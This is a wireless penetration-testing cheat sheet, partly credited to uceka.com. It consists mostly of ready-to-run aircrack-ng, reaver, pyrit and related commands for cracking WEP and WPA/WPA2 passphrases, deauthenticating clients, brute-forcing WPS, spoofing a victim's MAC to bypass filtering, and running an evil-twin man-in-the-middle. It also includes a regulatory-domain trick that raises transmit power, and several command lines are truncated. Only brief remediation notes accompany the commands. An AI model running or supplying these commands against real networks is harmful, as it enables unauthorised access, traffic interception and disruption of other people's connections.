WirelessTesting

■WPA2 PSK attack with aircrack-ng suite.

```
ifconfig wlan1 # check wireless IFace
sudo airmon-ng check kill  # kill issue causing processes
sudo airmon-ng start wlan1 # start monitor mode
sudo airodump-ng wlan1mon  # start capturing
sudo airodump-ng --bssid 64:66:B3:6E:B0:8A -c 11 wlan1mon -w output
sudo aireplay-ng --deauth 5 -a 64:66:B3:6E:B0:8A wlan1mon   # deauthenticate the client
sudo aircrack-ng output-01.cap dict # crack the passphrase
```

WPA PSK attack with aircrack-ng suite.

Place your wireless card into Monitor Mode
airmon-ng start wlan0

Detect all available wireless AP’s and clients
airodump-ng mon0

Setting adapter channel
iwconfig mon0 channel <channel_number>

Capturing the four-way handshake
airodump-ng --channel <channel_number> --bssid <bssid> --write capture mon0

You can capture the handshake passively (it takes time) or de-authenticate a client.

De-authentication attack
aireplay-ng --deauth 3 -a <BSSID> -c <client_mac> mon0

Deauth every client - aireplay-ng -0 5 -a <bssid> mon0

Dictionary Attack
aircrack-ng -w passwords.lst capture-01.cap

Brute force Attack
crunch 8 8 0123456789 | aircrack-ng -e "Name of Wireless Network" -w - /root/home/wpa2.eapol.cap

WEP attack with aircrack-ng suite.

Place your wireless card into Monitor Mode
airmon-ng start wlan0

Detect all available wireless AP’s and clients
airodump-ng mon0

Setting adapter channel
iwconfig mon0 channel <channel_number>

airodump-ng -c (channel) -w (file name) --bssid (bssid) (interface)

aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)

aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)

aircrack-ng -b (bssid) (file name-01.cap)

Rogue Access Point Testing

```
# ifconfig wlan0 down
# iw reg set BO
# iwconfig wlan0 txpower 0
# ifconfig wlan0 up
# airmon-ng start wlan0
# airodump-ng --write capture mon0
```

```
root@backbox:/home/backbox# ifconfig wlan1 down
root@backbox:/home/backbox# iw reg set BO
root@backbox:/home/backbox# ifconfig wlan1 up
root@backbox:/home/backbox# iwconfig wlan1 channel 13
root@backbox:/home/backbox# iwconfig wlan1 txpower 30
root@backbox:/home/backbox# iwconfig wlan1 rate 11M auto
```

Reaver

```
airmon-ng start wlan0
airodump-ng wlan0
reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv
reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -S --no-nacks -d7 -vv -c 1
```

Pixie WPS

```
airmon-ng check
airmon-ng start wlan0
airodump-ng wlan0mon --wps
reaver -i wlan0mon -c 11 -b 00:00:00:00:00:00 -K 1
```

Wireless Notes

Wired Equivalent Privacy (WEP)
RC4 stream cipher w/ CRC32 for integrity check
- Attack:
By sniffing an ARP packet, then replaying it to get many encrypted replies with different IVs.
- Remediation:
Use WPA2

Wifi Protected Access (WPA)
Temporal Key Integrity Protocol (TKIP) Message Integrity Check
- Attack:
Uses a four way handshake, and if that handshake can be captured, then a dictionary attack ban be mounted to find the P
- Remediation:
Use long-keys

Wifi Protected Access 2 (WPA2)
Advanced Encryption Standard (AES)
- Attack:
Uses a four way handshake, and if that handshake can be captured, then a dictionary attack ban be mounted to find the P
- Remediation:
WPA-Enterprise

---

all credits to @uceka.com for the following section (found below) original work found here https://uceka.com/2014/05/12

WIRELESS ANTENNA

Open the Monitor Mode

```
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# iwconfig wlan0mon mode monitor
root@uceka:~# ifconfig wlan0mon up
```

Increase Wi-Fi TX Power

```
root@uceka:~# iw reg set B0
root@uceka:~# iwconfig wlan0 txpower <NmW|NdBm|off|auto>
#txpower is 30 (generally)
#txpower is depends your country, please googling
root@uceka:~# iwconfig
```

Change WiFi Channel

```
root@uceka:~# iwconfig wlan0 channel <SetChannel(1-14)>
```

WEP CRACKING

```
------------

Method 1 : Fake Authentication Attack
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What's my mac?
root@uceka:~# macchanger --show wlan0mon
root@uceka:~# aireplay-ng -1 0 -a <BSSID> -h <OurMac> -e <ESSID> wlan0mon
root@uceka:~# aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b <BSSID> -h <OurMac> wlan0mon
root@uceka:~# aircrack-ng -b <BSSID> <PCAP_of_FileName>

Method 2 : ARP Replay Attack
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What's my mac?
root@uceka:~# macchanger --show wlan0mon
root@uceka:~# aireplay-ng -3 -x 1000 -n 1000 -b <BSSID> -h <OurMac> wlan0mon
root@uceka:~# aircrack-ng -b <BSSID> <PCAP_of_FileName>

Method 3 : Chop Chop Attack
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What's my mac?
root@uceka:~# macchanger --show wlan0mon
root@uceka:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <OurMac> wlan0mon
root@uceka:~# aireplay-ng -4 -b <BSSID> -h <OurMac> wlan0mon
 #Press 'y' ;
root@uceka:~# packetforge-ng -0 -a <BSSID> -h <OurMac> -k <SourceIP> -l <DestinationIP> -y <XOR_PacketFile> -w <FileNam
root@uceka:~# aireplay-ng -2 -r <FileName2> wlan0mon
root@uceka:~# aircrack-ng <PCAP_of_FileName>

Method 4 : Fragmentation Attack
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What's my mac?
root@uceka:~# macchanger --show wlan0mon
root@uceka:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <OurMac> wlan0mon
root@uceka:~# aireplay-ng -5 -b <BSSID> -h < OurMac > wlan0mon
#Press 'y' ;
root@uceka:~# packetforge-ng -0 -a <BSSID> -h < OurMac > -k <SourceIP> -l <DestinationIP> -y <XOR_PacketFile> -w <FileN
root@uceka:~# aireplay-ng -2 -r <FileName2> wlan0mon
root@uceka:~# aircrack-ng <PCAP_of_FileName>

Method 5 : SKA (Shared Key Authentication) Type Cracking
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 10 -a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# macchanger --mac <VictimMac> wlan0mon
root@uceka:~# ifconfig wlan0mon up
root@uceka:~# aireplay-ng -3 -b <BSSID> -h <FakedMac> wlan0mon
root@uceka:~# aireplay-ng --deauth 1 -a <BSSID> -h <FakedMac> wlan0mon
root@uceka:~# aircrack-ng <PCAP_of_FileName>


WPA / WPA2 CRACKING
-------------------

Method 1 : WPS Attack
root@uceka:~# airmon-ng start wlan0
root@uceka:~# apt-get install reaver
root@uceka:~# wash -i wlan0mon -C
root@uceka:~# reaver -i wlan0mon -b <BSSID> -vv -S
#or, Specific attack
root@uceka:~# reaver -i -c <Channel> -b <BSSID> -p <PinCode> -vv -S

Method 2 : Dictionary Attack
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 1 -a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# aircrack-ng -w <WordlistFile> -b <BSSID> <Handshaked_PCAP>
```

```
Method 3 : Crack with John The Ripper
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng -c <Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 1 -a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# cd /pentest/passwords/john
root@uceka:~# john -wordlist=<Wordlist> --rules -stdout|aircrack-ng -0 -e <ESSID> -w - <PCAP_of_FileName>

Method 4 : Crack with coWPAtty
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng -c <Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 1 -a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# cowpatty -r <FileName> -f <Wordlist> -2 -s <SSID>
root@uceka:~# genpmk -s <SSID> -f <Wordlist> -d <HashesFileName>
root@uceka:~# cowpatty -r <PCAP_of_FileName> -d <HashesFileName> -2 -s <SSID>

Method 5 : Crack with Pyrit
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng -c <Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 1 -a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# pyrit -r<PCAP_of_FileName> -b <BSSID> -i <Wordlist> attack_passthrough
root@uceka:~# pyrit -i <Wordlist> import_passwords
root@uceka:~# pyrit -e <ESSID> create_essid
root@uceka:~# pyrit batch
root@uceka:~# pyrit -r <PCAP_of_FileName> attack_db

Method 6 : Precomputed WPA Keys Database Attack
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 1 -a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# kwrite ESSID.txt
root@uceka:~# airolib-ng NEW_DB --import essid ESSID.txt
root@uceka:~# airolib-ng NEW_DB --import passwd <DictionaryFile>
root@uceka:~# airolib-ng NEW_DB --clean all
root@uceka:~# airolib-ng NEW_DB --stats
root@uceka:~# airolib-ng NEW_DB --batch
root@uceka:~# airolib-ng NEW_DB --verify all
root@uceka:~# aircrack-ng -r NEW_DB <Handshaked_PCAP>


FIND HIDDEN SSID
----------------

root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng -c <Channel> --bssid <BSSID> wlan0mon
root@uceka:~# aireplay-ng -0 20 -a <BSSID> -c <VictimMac> wlan0mon
##BYPASS MAC FILTERING

root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 10 --a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# macchanger --mac <VictimMac> wlan0mon
root@uceka:~# ifconfig wlan0mon up
root@uceka:~# aireplay-ng -3 -b <BSSID> -h <FakedMac> wlan0mon


MAN IN THE MIDDLE ATTACK
------------------------

root@uceka:~# airmon-ng start wlan0
root@uceka:~# airbase-ng -e “<FakeBSSID>” wlan0mon
root@uceka:~# brctl addbr <VariableName>
root@uceka:~# brctl addif <VariableName> wlan0mon
root@uceka:~# brctl addif <VariableName> at0
root@uceka:~# ifconfig eth0 0.0.0.0 up
root@uceka:~# ifconfig at0 0.0.0.0 up
root@uceka:~# ifconfig <VariableName> up
root@uceka:~# aireplay-ng -deauth 0 -a <victimBSSID> wlan0mon
root@uceka:~# dhclient3 <VariableName> &
root@uceka:~# wireshark &
;select <VariableName> interface
```